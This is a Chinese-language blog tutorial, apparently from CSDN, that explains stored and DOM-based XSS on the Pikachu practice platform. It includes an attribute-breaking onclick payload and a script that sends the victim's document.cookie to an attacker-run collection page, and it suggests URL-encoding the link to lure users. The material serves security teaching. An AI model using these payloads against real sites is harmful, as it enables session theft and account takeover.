知识导航
- 认识储存型和DOM型xss
- xss获取cookie
1. 认识储存型和DOM型xss
1.1 存储型
存储型XSS漏洞跟反射型形成的原因一样。不同的是存储型XSS下攻击者可以将脚本,注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
还是到我们的pikachu平台上来演示。
还是开始测试是否存在xss漏洞
可见后台还是我们输入的东西貌似是原封不动的返回过来了
我们这里尝试一下弹框
果然,但是它的效果虽然是和反射型的相同。但危害却是更大。反射型就是一个一次性的刷新页面之后就没有了。而这里的这段js却是保留进了数据库。也就是说每当打开这个页面。这段js就会被返回来
1.2 DOM型
如果你对DOM不理解,这里你就可以简单的认为。在前端中我们可以利用DOM操作获取页面上的所有东西的操作权
看案例,到我们的pikachu平台下。还是先进行测试
查看源码
可发现这里虽然没有把我们输入的东西直接返回来。但是它也只是换了种方式。它把我们的input的value值直接放入了a链接中。我们很容易可以想到利用闭合。
按照网页源码进行闭合
源码
<a href='"+str+"'>what do you see?</a>";
闭合写法
'onclick="alert('aaa')";>
前单引号闭合href属性,同时加上我们的脚本还是以弹框为例
将闭合的那段代码放入input里面。效果如下:
再来看下面的案例(其实都是一样的)
还是先进行测试,注意看地址栏。get传参
看网页源码
这里和上一个本质上是一样的。前一个是DOM操作到input获得其值。这里是通过get请求的地址栏获取请求。
还是使用闭合。
'onclick="alert('aaa')";>
效果:
当然它写的麻烦也是有好处的。若这是个知名网站的网址。可以诱导别人点击获取信息
2. xss获取cookie
原理:攻击向存在xss漏洞的网站注入脚本,用户访问网站之后脚本被浏览器自动执行。然后cookie等重要信息便偷偷的被发到攻击者自己手中
这里我们使用pkxss当做攻击者的服务器后台,用于接收脚本发送过来的用户信息
先看我们的pkxss后台做了什么?
可以发现,它做的事情很简单只是把脚本发过来的cookie信息放到数据库了然后又做了一个显示这些信息的页面
接下拿我们上一篇xss的反射get型举例获取用户cookie
接下来我们便不是只输入我们那个简单的弹框了,想一下我们作为攻击者在这里想要的只是cookie,而cookie是被服务器反到用户的前端来了。并且我们很容易的会想到直接DOM操作获取。
这便容易多了。
故这个简易的js脚本如下:
直接让他向我们发送cookie信息
<script>document.location='http://192.168.211.1:8081/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>
cookie.php的功能便是存储cookie,故只需发到这里即可。
将那段js,粘到input提交之后。看我们的后台
cookie信息已经被获取。
看一下点击提交input信息的地址栏
因为get方式传参,我们还是可以将?问号之后的东西做url编码将此链接。诱惑用户访问。
post方式看下篇吧,本来打算整完呢。时间有点晚了
来源:CSDN
作者:强风知劲草
链接:https://blog.csdn.net/qq_41086511/article/details/104034199